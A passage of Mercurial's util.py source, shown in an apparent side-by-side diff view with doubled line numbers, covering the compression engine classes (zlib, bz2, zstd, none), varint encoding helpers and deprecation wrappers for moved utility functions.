3306 the data could not be compressed (too small, not compressible, etc).
3304 The returned data should have a header uniquely identifying this
3307 The returned data should have a header uniquely identifying this
3305 compression format so decompression can be routed to this engine.
3308 compression format so decompression can be routed to this engine.
3306 This header should be identified by the ``revlogheader()`` return
3309 This header should be identified by the ``revlogheader()`` return
3307 value.
3310 value.
3308
3311
3309 The object has a ``decompress(data)`` method that decompresses
3312 The object has a ``decompress(data)`` method that decompresses
3310 data. The method will only be called if ``data`` begins with
3313 data. The method will only be called if ``data`` begins with
3311 ``revlogheader()``. The method should return the raw, uncompressed
3314 ``revlogheader()``. The method should return the raw, uncompressed
3312 data or raise a ``RevlogError``.
3315 data or raise a ``RevlogError``.
3313
3316
3314 The object is reusable but is not thread safe.
3317 The object is reusable but is not thread safe.
3315 """
3318 """
3316 raise NotImplementedError()
3319 raise NotImplementedError()
3317
3320
3318 class _zlibengine(compressionengine):
3321 class _zlibengine(compressionengine):
3319 def name(self):
3322 def name(self):
3320 return 'zlib'
3323 return 'zlib'
3321
3324
3322 def bundletype(self):
3325 def bundletype(self):
3323 """zlib compression using the DEFLATE algorithm.
3326 """zlib compression using the DEFLATE algorithm.
3324
3327
3325 All Mercurial clients should support this format. The compression
3328 All Mercurial clients should support this format. The compression
3326 algorithm strikes a reasonable balance between compression ratio
3329 algorithm strikes a reasonable balance between compression ratio
3327 and size.
3330 and size.
3328 """
3331 """
3329 return 'gzip', 'GZ'
3332 return 'gzip', 'GZ'
3330
3333
3331 def wireprotosupport(self):
3334 def wireprotosupport(self):
3332 return compewireprotosupport('zlib', 20, 20)
3335 return compewireprotosupport('zlib', 20, 20)
3333
3336
3334 def revlogheader(self):
3337 def revlogheader(self):
3335 return 'x'
3338 return 'x'
3336
3339
3337 def compressstream(self, it, opts=None):
3340 def compressstream(self, it, opts=None):
3338 opts = opts or {}
3341 opts = opts or {}
3339
3342
3340 z = zlib.compressobj(opts.get('level', -1))
3343 z = zlib.compressobj(opts.get('level', -1))
3341 for chunk in it:
3344 for chunk in it:
3342 data = z.compress(chunk)
3345 data = z.compress(chunk)
3343 # Not all calls to compress emit data. It is cheaper to inspect
3346 # Not all calls to compress emit data. It is cheaper to inspect
3344 # here than to feed empty chunks through generator.
3347 # here than to feed empty chunks through generator.
3345 if data:
3348 if data:
3346 yield data
3349 yield data
3347
3350
3348 yield z.flush()
3351 yield z.flush()
3349
3352
3350 def decompressorreader(self, fh):
3353 def decompressorreader(self, fh):
3351 def gen():
3354 def gen():
3352 d = zlib.decompressobj()
3355 d = zlib.decompressobj()
3353 for chunk in filechunkiter(fh):
3356 for chunk in filechunkiter(fh):
3354 while chunk:
3357 while chunk:
3355 # Limit output size to limit memory.
3358 # Limit output size to limit memory.
3356 yield d.decompress(chunk, 2 ** 18)
3359 yield d.decompress(chunk, 2 ** 18)
3357 chunk = d.unconsumed_tail
3360 chunk = d.unconsumed_tail
3358
3361
3359 return chunkbuffer(gen())
3362 return chunkbuffer(gen())
3360
3363
3361 class zlibrevlogcompressor(object):
3364 class zlibrevlogcompressor(object):
3362 def compress(self, data):
3365 def compress(self, data):
3363 insize = len(data)
3366 insize = len(data)
3364 # Caller handles empty input case.
3367 # Caller handles empty input case.
3365 assert insize > 0
3368 assert insize > 0
3366
3369
3367 if insize < 44:
3370 if insize < 44:
3368 return None
3371 return None
3369
3372
3370 elif insize <= 1000000:
3373 elif insize <= 1000000:
3371 compressed = zlib.compress(data)
3374 compressed = zlib.compress(data)
3372 if len(compressed) < insize:
3375 if len(compressed) < insize:
3373 return compressed
3376 return compressed
3374 return None
3377 return None
3375
3378
3376 # zlib makes an internal copy of the input buffer, doubling
3379 # zlib makes an internal copy of the input buffer, doubling
3377 # memory usage for large inputs. So do streaming compression
3380 # memory usage for large inputs. So do streaming compression
3378 # on large inputs.
3381 # on large inputs.
3379 else:
3382 else:
3380 z = zlib.compressobj()
3383 z = zlib.compressobj()
3381 parts = []
3384 parts = []
3382 pos = 0
3385 pos = 0
3383 while pos < insize:
3386 while pos < insize:
3384 pos2 = pos + 2**20
3387 pos2 = pos + 2**20
3385 parts.append(z.compress(data[pos:pos2]))
3388 parts.append(z.compress(data[pos:pos2]))
3386 pos = pos2
3389 pos = pos2
3387 parts.append(z.flush())
3390 parts.append(z.flush())
3388
3391
3389 if sum(map(len, parts)) < insize:
3392 if sum(map(len, parts)) < insize:
3390 return ''.join(parts)
3393 return ''.join(parts)
3391 return None
3394 return None
3392
3395
3393 def decompress(self, data):
3396 def decompress(self, data):
3394 try:
3397 try:
3395 return zlib.decompress(data)
3398 return zlib.decompress(data)
3396 except zlib.error as e:
3399 except zlib.error as e:
3397 raise error.RevlogError(_('revlog decompress error: %s') %
3400 raise error.RevlogError(_('revlog decompress error: %s') %
3398 stringutil.forcebytestr(e))
3401 stringutil.forcebytestr(e))
3399
3402
3400 def revlogcompressor(self, opts=None):
3403 def revlogcompressor(self, opts=None):
3401 return self.zlibrevlogcompressor()
3404 return self.zlibrevlogcompressor()
3402
3405
3403 compengines.register(_zlibengine())
3406 compengines.register(_zlibengine())
3404
3407
3405 class _bz2engine(compressionengine):
3408 class _bz2engine(compressionengine):
3406 def name(self):
3409 def name(self):
3407 return 'bz2'
3410 return 'bz2'
3408
3411
3409 def bundletype(self):
3412 def bundletype(self):
3410 """An algorithm that produces smaller bundles than ``gzip``.
3413 """An algorithm that produces smaller bundles than ``gzip``.
3411
3414
3412 All Mercurial clients should support this format.
3415 All Mercurial clients should support this format.
3413
3416
3414 This engine will likely produce smaller bundles than ``gzip`` but
3417 This engine will likely produce smaller bundles than ``gzip`` but
3415 will be significantly slower, both during compression and
3418 will be significantly slower, both during compression and
3416 decompression.
3419 decompression.
3417
3420
3418 If available, the ``zstd`` engine can yield similar or better
3421 If available, the ``zstd`` engine can yield similar or better
3419 compression at much higher speeds.
3422 compression at much higher speeds.
3420 """
3423 """
3421 return 'bzip2', 'BZ'
3424 return 'bzip2', 'BZ'
3422
3425
3423 # We declare a protocol name but don't advertise by default because
3426 # We declare a protocol name but don't advertise by default because
3424 # it is slow.
3427 # it is slow.
3425 def wireprotosupport(self):
3428 def wireprotosupport(self):
3426 return compewireprotosupport('bzip2', 0, 0)
3429 return compewireprotosupport('bzip2', 0, 0)
3427
3430
3428 def compressstream(self, it, opts=None):
3431 def compressstream(self, it, opts=None):
3429 opts = opts or {}
3432 opts = opts or {}
3430 z = bz2.BZ2Compressor(opts.get('level', 9))
3433 z = bz2.BZ2Compressor(opts.get('level', 9))
3431 for chunk in it:
3434 for chunk in it:
3432 data = z.compress(chunk)
3435 data = z.compress(chunk)
3433 if data:
3436 if data:
3434 yield data
3437 yield data
3435
3438
3436 yield z.flush()
3439 yield z.flush()
3437
3440
3438 def decompressorreader(self, fh):
3441 def decompressorreader(self, fh):
3439 def gen():
3442 def gen():
3440 d = bz2.BZ2Decompressor()
3443 d = bz2.BZ2Decompressor()
3441 for chunk in filechunkiter(fh):
3444 for chunk in filechunkiter(fh):
3442 yield d.decompress(chunk)
3445 yield d.decompress(chunk)
3443
3446
3444 return chunkbuffer(gen())
3447 return chunkbuffer(gen())
3445
3448
3446 compengines.register(_bz2engine())
3449 compengines.register(_bz2engine())
3447
3450
3448 class _truncatedbz2engine(compressionengine):
3451 class _truncatedbz2engine(compressionengine):
3449 def name(self):
3452 def name(self):
3450 return 'bz2truncated'
3453 return 'bz2truncated'
3451
3454
3452 def bundletype(self):
3455 def bundletype(self):
3453 return None, '_truncatedBZ'
3456 return None, '_truncatedBZ'
3454
3457
3455 # We don't implement compressstream because it is hackily handled elsewhere.
3458 # We don't implement compressstream because it is hackily handled elsewhere.
3456
3459
3457 def decompressorreader(self, fh):
3460 def decompressorreader(self, fh):
3458 def gen():
3461 def gen():
3459 # The input stream doesn't have the 'BZ' header. So add it back.
3462 # The input stream doesn't have the 'BZ' header. So add it back.
3460 d = bz2.BZ2Decompressor()
3463 d = bz2.BZ2Decompressor()
3461 d.decompress('BZ')
3464 d.decompress('BZ')
3462 for chunk in filechunkiter(fh):
3465 for chunk in filechunkiter(fh):
3463 yield d.decompress(chunk)
3466 yield d.decompress(chunk)
3464
3467
3465 return chunkbuffer(gen())
3468 return chunkbuffer(gen())
3466
3469
3467 compengines.register(_truncatedbz2engine())
3470 compengines.register(_truncatedbz2engine())
3468
3471
3469 class _noopengine(compressionengine):
3472 class _noopengine(compressionengine):
3470 def name(self):
3473 def name(self):
3471 return 'none'
3474 return 'none'
3472
3475
3473 def bundletype(self):
3476 def bundletype(self):
3474 """No compression is performed.
3477 """No compression is performed.
3475
3478
3476 Use this compression engine to explicitly disable compression.
3479 Use this compression engine to explicitly disable compression.
3477 """
3480 """
3478 return 'none', 'UN'
3481 return 'none', 'UN'
3479
3482
3480 # Clients always support uncompressed payloads. Servers don't because
3483 # Clients always support uncompressed payloads. Servers don't because
3481 # unless you are on a fast network, uncompressed payloads can easily
3484 # unless you are on a fast network, uncompressed payloads can easily
3482 # saturate your network pipe.
3485 # saturate your network pipe.
3483 def wireprotosupport(self):
3486 def wireprotosupport(self):
3484 return compewireprotosupport('none', 0, 10)
3487 return compewireprotosupport('none', 0, 10)
3485
3488
3486 # We don't implement revlogheader because it is handled specially
3489 # We don't implement revlogheader because it is handled specially
3487 # in the revlog class.
3490 # in the revlog class.
3488
3491
3489 def compressstream(self, it, opts=None):
3492 def compressstream(self, it, opts=None):
3490 return it
3493 return it
3491
3494
3492 def decompressorreader(self, fh):
3495 def decompressorreader(self, fh):
3493 return fh
3496 return fh
3494
3497
3495 class nooprevlogcompressor(object):
3498 class nooprevlogcompressor(object):
3496 def compress(self, data):
3499 def compress(self, data):
3497 return None
3500 return None
3498
3501
3499 def revlogcompressor(self, opts=None):
3502 def revlogcompressor(self, opts=None):
3500 return self.nooprevlogcompressor()
3503 return self.nooprevlogcompressor()
3501
3504
3502 compengines.register(_noopengine())
3505 compengines.register(_noopengine())
3503
3506
3504 class _zstdengine(compressionengine):
3507 class _zstdengine(compressionengine):
3505 def name(self):
3508 def name(self):
3506 return 'zstd'
3509 return 'zstd'
3507
3510
3508 @propertycache
3511 @propertycache
3509 def _module(self):
3512 def _module(self):
3510 # Not all installs have the zstd module available. So defer importing
3513 # Not all installs have the zstd module available. So defer importing
3511 # until first access.
3514 # until first access.
3512 try:
3515 try:
3513 from . import zstd
3516 from . import zstd
3514 # Force delayed import.
3517 # Force delayed import.
3515 zstd.__version__
3518 zstd.__version__
3516 return zstd
3519 return zstd
3517 except ImportError:
3520 except ImportError:
3518 return None
3521 return None
3519
3522
3520 def available(self):
3523 def available(self):
3521 return bool(self._module)
3524 return bool(self._module)
3522
3525
3523 def bundletype(self):
3526 def bundletype(self):
3524 """A modern compression algorithm that is fast and highly flexible.
3527 """A modern compression algorithm that is fast and highly flexible.
3525
3528
3526 Only supported by Mercurial 4.1 and newer clients.
3529 Only supported by Mercurial 4.1 and newer clients.
3527
3530
3528 With the default settings, zstd compression is both faster and yields
3531 With the default settings, zstd compression is both faster and yields
3529 better compression than ``gzip``. It also frequently yields better
3532 better compression than ``gzip``. It also frequently yields better
3530 compression than ``bzip2`` while operating at much higher speeds.
3533 compression than ``bzip2`` while operating at much higher speeds.
3531
3534
3532 If this engine is available and backwards compatibility is not a
3535 If this engine is available and backwards compatibility is not a
3533 concern, it is likely the best available engine.
3536 concern, it is likely the best available engine.
3534 """
3537 """
3535 return 'zstd', 'ZS'
3538 return 'zstd', 'ZS'
3536
3539
3537 def wireprotosupport(self):
3540 def wireprotosupport(self):
3538 return compewireprotosupport('zstd', 50, 50)
3541 return compewireprotosupport('zstd', 50, 50)
3539
3542
3540 def revlogheader(self):
3543 def revlogheader(self):
3541 return '\x28'
3544 return '\x28'
3542
3545
3543 def compressstream(self, it, opts=None):
3546 def compressstream(self, it, opts=None):
3544 opts = opts or {}
3547 opts = opts or {}
3545 # zstd level 3 is almost always significantly faster than zlib
3548 # zstd level 3 is almost always significantly faster than zlib
3546 # while providing no worse compression. It strikes a good balance
3549 # while providing no worse compression. It strikes a good balance
3547 # between speed and compression.
3550 # between speed and compression.
3548 level = opts.get('level', 3)
3551 level = opts.get('level', 3)
3549
3552
3550 zstd = self._module
3553 zstd = self._module
3551 z = zstd.ZstdCompressor(level=level).compressobj()
3554 z = zstd.ZstdCompressor(level=level).compressobj()
3552 for chunk in it:
3555 for chunk in it:
3553 data = z.compress(chunk)
3556 data = z.compress(chunk)
3554 if data:
3557 if data:
3555 yield data
3558 yield data
3556
3559
3557 yield z.flush()
3560 yield z.flush()
3558
3561
3559 def decompressorreader(self, fh):
3562 def decompressorreader(self, fh):
3560 zstd = self._module
3563 zstd = self._module
3561 dctx = zstd.ZstdDecompressor()
3564 dctx = zstd.ZstdDecompressor()
3562 return chunkbuffer(dctx.read_from(fh))
3565 return chunkbuffer(dctx.read_from(fh))
3563
3566
3564 class zstdrevlogcompressor(object):
3567 class zstdrevlogcompressor(object):
3565 def __init__(self, zstd, level=3):
3568 def __init__(self, zstd, level=3):
3566 # Writing the content size adds a few bytes to the output. However,
3569 # Writing the content size adds a few bytes to the output. However,
3567 # it allows decompression to be more optimal since we can
3570 # it allows decompression to be more optimal since we can
3568 # pre-allocate a buffer to hold the result.
3571 # pre-allocate a buffer to hold the result.
3569 self._cctx = zstd.ZstdCompressor(level=level,
3572 self._cctx = zstd.ZstdCompressor(level=level,
3570 write_content_size=True)
3573 write_content_size=True)
3571 self._dctx = zstd.ZstdDecompressor()
3574 self._dctx = zstd.ZstdDecompressor()
3572 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3575 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3573 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3576 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3574
3577
3575 def compress(self, data):
3578 def compress(self, data):
3576 insize = len(data)
3579 insize = len(data)
3577 # Caller handles empty input case.
3580 # Caller handles empty input case.
3578 assert insize > 0
3581 assert insize > 0
3579
3582
3580 if insize < 50:
3583 if insize < 50:
3581 return None
3584 return None
3582
3585
3583 elif insize <= 1000000:
3586 elif insize <= 1000000:
3584 compressed = self._cctx.compress(data)
3587 compressed = self._cctx.compress(data)
3585 if len(compressed) < insize:
3588 if len(compressed) < insize:
3586 return compressed
3589 return compressed
3587 return None
3590 return None
3588 else:
3591 else:
3589 z = self._cctx.compressobj()
3592 z = self._cctx.compressobj()
3590 chunks = []
3593 chunks = []
3591 pos = 0
3594 pos = 0
3592 while pos < insize:
3595 while pos < insize:
3593 pos2 = pos + self._compinsize
3596 pos2 = pos + self._compinsize
3594 chunk = z.compress(data[pos:pos2])
3597 chunk = z.compress(data[pos:pos2])
3595 if chunk:
3598 if chunk:
3596 chunks.append(chunk)
3599 chunks.append(chunk)
3597 pos = pos2
3600 pos = pos2
3598 chunks.append(z.flush())
3601 chunks.append(z.flush())
3599
3602
3600 if sum(map(len, chunks)) < insize:
3603 if sum(map(len, chunks)) < insize:
3601 return ''.join(chunks)
3604 return ''.join(chunks)
3602 return None
3605 return None
3603
3606
3604 def decompress(self, data):
3607 def decompress(self, data):
3605 insize = len(data)
3608 insize = len(data)
3606
3609
3607 try:
3610 try:
3608 # This was measured to be faster than other streaming
3611 # This was measured to be faster than other streaming
3609 # decompressors.
3612 # decompressors.
3610 dobj = self._dctx.decompressobj()
3613 dobj = self._dctx.decompressobj()
3611 chunks = []
3614 chunks = []
3612 pos = 0
3615 pos = 0
3613 while pos < insize:
3616 while pos < insize:
3614 pos2 = pos + self._decompinsize
3617 pos2 = pos + self._decompinsize
3615 chunk = dobj.decompress(data[pos:pos2])
3618 chunk = dobj.decompress(data[pos:pos2])
3616 if chunk:
3619 if chunk:
3617 chunks.append(chunk)
3620 chunks.append(chunk)
3618 pos = pos2
3621 pos = pos2
3619 # Frame should be exhausted, so no finish() API.
3622 # Frame should be exhausted, so no finish() API.
3620
3623
3621 return ''.join(chunks)
3624 return ''.join(chunks)
3622 except Exception as e:
3625 except Exception as e:
3623 raise error.RevlogError(_('revlog decompress error: %s') %
3626 raise error.RevlogError(_('revlog decompress error: %s') %
3624 stringutil.forcebytestr(e))
3627 stringutil.forcebytestr(e))
3625
3628
3626 def revlogcompressor(self, opts=None):
3629 def revlogcompressor(self, opts=None):
3627 opts = opts or {}
3630 opts = opts or {}
3628 return self.zstdrevlogcompressor(self._module,
3631 return self.zstdrevlogcompressor(self._module,
3629 level=opts.get('level', 3))
3632 level=opts.get('level', 3))
3630
3633
3631 compengines.register(_zstdengine())
3634 compengines.register(_zstdengine())
3632
3635
3633 def bundlecompressiontopics():
3636 def bundlecompressiontopics():
3634 """Obtains a list of available bundle compressions for use in help."""
3637 """Obtains a list of available bundle compressions for use in help."""
3635 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3638 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3636 items = {}
3639 items = {}
3637
3640
3638 # We need to format the docstring. So use a dummy object/type to hold it
3641 # We need to format the docstring. So use a dummy object/type to hold it
3639 # rather than mutating the original.
3642 # rather than mutating the original.
3640 class docobject(object):
3643 class docobject(object):
3641 pass
3644 pass
3642
3645
3643 for name in compengines:
3646 for name in compengines:
3644 engine = compengines[name]
3647 engine = compengines[name]
3645
3648
3646 if not engine.available():
3649 if not engine.available():
3647 continue
3650 continue
3648
3651
3649 bt = engine.bundletype()
3652 bt = engine.bundletype()
3650 if not bt or not bt[0]:
3653 if not bt or not bt[0]:
3651 continue
3654 continue
3652
3655
3653 doc = pycompat.sysstr('``%s``\n %s') % (
3656 doc = pycompat.sysstr('``%s``\n %s') % (
3654 bt[0], engine.bundletype.__doc__)
3657 bt[0], engine.bundletype.__doc__)
3655
3658
3656 value = docobject()
3659 value = docobject()
3657 value.__doc__ = doc
3660 value.__doc__ = doc
3658 value._origdoc = engine.bundletype.__doc__
3661 value._origdoc = engine.bundletype.__doc__
3659 value._origfunc = engine.bundletype
3662 value._origfunc = engine.bundletype
3660
3663
3661 items[bt[0]] = value
3664 items[bt[0]] = value
3662
3665
3663 return items
3666 return items
3664
3667
3665 i18nfunctions = bundlecompressiontopics().values()
3668 i18nfunctions = bundlecompressiontopics().values()
3666
3669
3667 # convenient shortcut
3670 # convenient shortcut
3668 dst = debugstacktrace
3671 dst = debugstacktrace
3669
3672
3670 def safename(f, tag, ctx, others=None):
3673 def safename(f, tag, ctx, others=None):
3671 """
3674 """
3672 Generate a name that it is safe to rename f to in the given context.
3675 Generate a name that it is safe to rename f to in the given context.
3673
3676
3674 f: filename to rename
3677 f: filename to rename
3675 tag: a string tag that will be included in the new name
3678 tag: a string tag that will be included in the new name
3676 ctx: a context, in which the new name must not exist
3679 ctx: a context, in which the new name must not exist
3677 others: a set of other filenames that the new name must not be in
3680 others: a set of other filenames that the new name must not be in
3678
3681
3679 Returns a file name of the form oldname~tag[~number] which does not exist
3682 Returns a file name of the form oldname~tag[~number] which does not exist
3680 in the provided context and is not in the set of other names.
3683 in the provided context and is not in the set of other names.
3681 """
3684 """
3682 if others is None:
3685 if others is None:
3683 others = set()
3686 others = set()
3684
3687
3685 fn = '%s~%s' % (f, tag)
3688 fn = '%s~%s' % (f, tag)
3686 if fn not in ctx and fn not in others:
3689 if fn not in ctx and fn not in others:
3687 return fn
3690 return fn
3688 for n in itertools.count(1):
3691 for n in itertools.count(1):
3689 fn = '%s~%s~%s' % (f, tag, n)
3692 fn = '%s~%s~%s' % (f, tag, n)
3690 if fn not in ctx and fn not in others:
3693 if fn not in ctx and fn not in others:
3691 return fn
3694 return fn
3692
3695
3693 def readexactly(stream, n):
3696 def readexactly(stream, n):
3694 '''read n bytes from stream.read and abort if less was available'''
3697 '''read n bytes from stream.read and abort if less was available'''
3695 s = stream.read(n)
3698 s = stream.read(n)
3696 if len(s) < n:
3699 if len(s) < n:
3697 raise error.Abort(_("stream ended unexpectedly"
3700 raise error.Abort(_("stream ended unexpectedly"
3698 " (got %d bytes, expected %d)")
3701 " (got %d bytes, expected %d)")
3699 % (len(s), n))
3702 % (len(s), n))
3700 return s
3703 return s
3701
3704
3702 def uvarintencode(value):
3705 def uvarintencode(value):
3703 """Encode an unsigned integer value to a varint.
3706 """Encode an unsigned integer value to a varint.
3704
3707
3705 A varint is a variable length integer of 1 or more bytes. Each byte
3708 A varint is a variable length integer of 1 or more bytes. Each byte
3706 except the last has the most significant bit set. The lower 7 bits of
3709 except the last has the most significant bit set. The lower 7 bits of
3707 each byte store the 2's complement representation, least significant group
3710 each byte store the 2's complement representation, least significant group
3708 first.
3711 first.
3709
3712
3710 >>> uvarintencode(0)
3713 >>> uvarintencode(0)
3711 '\\x00'
3714 '\\x00'
3712 >>> uvarintencode(1)
3715 >>> uvarintencode(1)
3713 '\\x01'
3716 '\\x01'
3714 >>> uvarintencode(127)
3717 >>> uvarintencode(127)
3715 '\\x7f'
3718 '\\x7f'
3716 >>> uvarintencode(1337)
3719 >>> uvarintencode(1337)
3717 '\\xb9\\n'
3720 '\\xb9\\n'
3718 >>> uvarintencode(65536)
3721 >>> uvarintencode(65536)
3719 '\\x80\\x80\\x04'
3722 '\\x80\\x80\\x04'
3720 >>> uvarintencode(-1)
3723 >>> uvarintencode(-1)
3721 Traceback (most recent call last):
3724 Traceback (most recent call last):
3722 ...
3725 ...
3723 ProgrammingError: negative value for uvarint: -1
3726 ProgrammingError: negative value for uvarint: -1
3724 """
3727 """
3725 if value < 0:
3728 if value < 0:
3726 raise error.ProgrammingError('negative value for uvarint: %d'
3729 raise error.ProgrammingError('negative value for uvarint: %d'
3727 % value)
3730 % value)
3728 bits = value & 0x7f
3731 bits = value & 0x7f
3729 value >>= 7
3732 value >>= 7
3730 bytes = []
3733 bytes = []
3731 while value:
3734 while value:
3732 bytes.append(pycompat.bytechr(0x80 | bits))
3735 bytes.append(pycompat.bytechr(0x80 | bits))
3733 bits = value & 0x7f
3736 bits = value & 0x7f
3734 value >>= 7
3737 value >>= 7
3735 bytes.append(pycompat.bytechr(bits))
3738 bytes.append(pycompat.bytechr(bits))
3736
3739
3737 return ''.join(bytes)
3740 return ''.join(bytes)
3738
3741
3739 def uvarintdecodestream(fh):
3742 def uvarintdecodestream(fh):
3740 """Decode an unsigned variable length integer from a stream.
3743 """Decode an unsigned variable length integer from a stream.
3741
3744
3742 The passed argument is anything that has a ``.read(N)`` method.
3745 The passed argument is anything that has a ``.read(N)`` method.
3743
3746
3744 >>> try:
3747 >>> try:
3745 ... from StringIO import StringIO as BytesIO
3748 ... from StringIO import StringIO as BytesIO
3746 ... except ImportError:
3749 ... except ImportError:
3747 ... from io import BytesIO
3750 ... from io import BytesIO
3748 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3751 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3749 0
3752 0
3750 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3753 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3751 1
3754 1
3752 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3755 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3753 127
3756 127
3754 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3757 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3755 1337
3758 1337
3756 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3759 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3757 65536
3760 65536
3758 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3761 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3759 Traceback (most recent call last):
3762 Traceback (most recent call last):
3760 ...
3763 ...
3761 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3764 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3762 """
3765 """
3763 result = 0
3766 result = 0
3764 shift = 0
3767 shift = 0
3765 while True:
3768 while True:
3766 byte = ord(readexactly(fh, 1))
3769 byte = ord(readexactly(fh, 1))
3767 result |= ((byte & 0x7f) << shift)
3770 result |= ((byte & 0x7f) << shift)
3768 if not (byte & 0x80):
3771 if not (byte & 0x80):
3769 return result
3772 return result
3770 shift += 7
3773 shift += 7
3771
3774
3772 ###
3775 ###
3773 # Deprecation warnings for util.py splitting
3776 # Deprecation warnings for util.py splitting
3774 ###
3777 ###
3775
3778
3776 def _deprecatedfunc(func, version, modname=None):
3779 def _deprecatedfunc(func, version, modname=None):
3777 def wrapped(*args, **kwargs):
3780 def wrapped(*args, **kwargs):
3778 fn = pycompat.sysbytes(func.__name__)
3781 fn = pycompat.sysbytes(func.__name__)
3779 mn = modname or pycompat.sysbytes(func.__module__)[len('mercurial.'):]
3782 mn = modname or pycompat.sysbytes(func.__module__)[len('mercurial.'):]
3780 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
3783 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
3781 nouideprecwarn(msg, version)
3784 nouideprecwarn(msg, version)
3782 return func(*args, **kwargs)
3785 return func(*args, **kwargs)
3783 wrapped.__name__ = func.__name__
3786 wrapped.__name__ = func.__name__
3784 return wrapped
3787 return wrapped
3785
3788
3786 defaultdateformats = dateutil.defaultdateformats
3789 defaultdateformats = dateutil.defaultdateformats
3787 extendeddateformats = dateutil.extendeddateformats
3790 extendeddateformats = dateutil.extendeddateformats
3788 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
3791 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
3789 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
3792 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
3790 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
3793 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
3791 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
3794 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
3792 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
3795 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
3793 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
3796 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
3794 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
3797 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
3795
3798
3796 stderr = procutil.stderr
3799 stderr = procutil.stderr
3797 stdin = procutil.stdin
3800 stdin = procutil.stdin
3798 stdout = procutil.stdout
3801 stdout = procutil.stdout
3799 explainexit = _deprecatedfunc(procutil.explainexit, '4.6',
3802 explainexit = _deprecatedfunc(procutil.explainexit, '4.6',
3800 modname='utils.procutil')
3803 modname='utils.procutil')
3801 findexe = _deprecatedfunc(procutil.findexe, '4.6', modname='utils.procutil')
3804 findexe = _deprecatedfunc(procutil.findexe, '4.6', modname='utils.procutil')
3802 getuser = _deprecatedfunc(procutil.getuser, '4.6', modname='utils.procutil')
3805 getuser = _deprecatedfunc(procutil.getuser, '4.6', modname='utils.procutil')
3803 getpid = _deprecatedfunc(procutil.getpid, '4.6', modname='utils.procutil')
3806 getpid = _deprecatedfunc(procutil.getpid, '4.6', modname='utils.procutil')
3804 hidewindow = _deprecatedfunc(procutil.hidewindow, '4.6',
3807 hidewindow = _deprecatedfunc(procutil.hidewindow, '4.6',
3805 modname='utils.procutil')
3808 modname='utils.procutil')
3806 popen = _deprecatedfunc(procutil.popen, '4.6', modname='utils.procutil')
3809 popen = _deprecatedfunc(procutil.popen, '4.6', modname='utils.procutil')
3807 quotecommand = _deprecatedfunc(procutil.quotecommand, '4.6',
3810 quotecommand = _deprecatedfunc(procutil.quotecommand, '4.6',
3808 modname='utils.procutil')
3811 modname='utils.procutil')
3809 readpipe = _deprecatedfunc(procutil.readpipe, '4.6', modname='utils.procutil')
3812 readpipe = _deprecatedfunc(procutil.readpipe, '4.6', modname='utils.procutil')
3810 setbinary = _deprecatedfunc(procutil.setbinary, '4.6', modname='utils.procutil')
3813 setbinary = _deprecatedfunc(procutil.setbinary, '4.6', modname='utils.procutil')
3811 setsignalhandler = _deprecatedfunc(procutil.setsignalhandler, '4.6',
3814 setsignalhandler = _deprecatedfunc(procutil.setsignalhandler, '4.6',
3812 modname='utils.procutil')
3815 modname='utils.procutil')
3813 shellquote = _deprecatedfunc(procutil.shellquote, '4.6',
3816 shellquote = _deprecatedfunc(procutil.shellquote, '4.6',
3814 modname='utils.procutil')
3817 modname='utils.procutil')
3815 shellsplit = _deprecatedfunc(procutil.shellsplit, '4.6',
3818 shellsplit = _deprecatedfunc(procutil.shellsplit, '4.6',
3816 modname='utils.procutil')
3819 modname='utils.procutil')
3817 spawndetached = _deprecatedfunc(procutil.spawndetached, '4.6',
3820 spawndetached = _deprecatedfunc(procutil.spawndetached, '4.6',
3818 modname='utils.procutil')
3821 modname='utils.procutil')
3819 sshargs = _deprecatedfunc(procutil.sshargs, '4.6', modname='utils.procutil')
3822 sshargs = _deprecatedfunc(procutil.sshargs, '4.6', modname='utils.procutil')
3820 testpid = _deprecatedfunc(procutil.testpid, '4.6', modname='utils.procutil')
3823 testpid = _deprecatedfunc(procutil.testpid, '4.6', modname='utils.procutil')
3821 try:
3824 try:
3822 setprocname = _deprecatedfunc(procutil.setprocname, '4.6',
3825 setprocname = _deprecatedfunc(procutil.setprocname, '4.6',
3823 modname='utils.procutil')
3826 modname='utils.procutil')
3824 except AttributeError:
3827 except AttributeError:
3825 pass
3828 pass
3826 try:
3829 try:
3827 unblocksignal = _deprecatedfunc(procutil.unblocksignal, '4.6',
3830 unblocksignal = _deprecatedfunc(procutil.unblocksignal, '4.6',
3828 modname='utils.procutil')
3831 modname='utils.procutil')
3829 except AttributeError:
3832 except AttributeError:
3830 pass
3833 pass
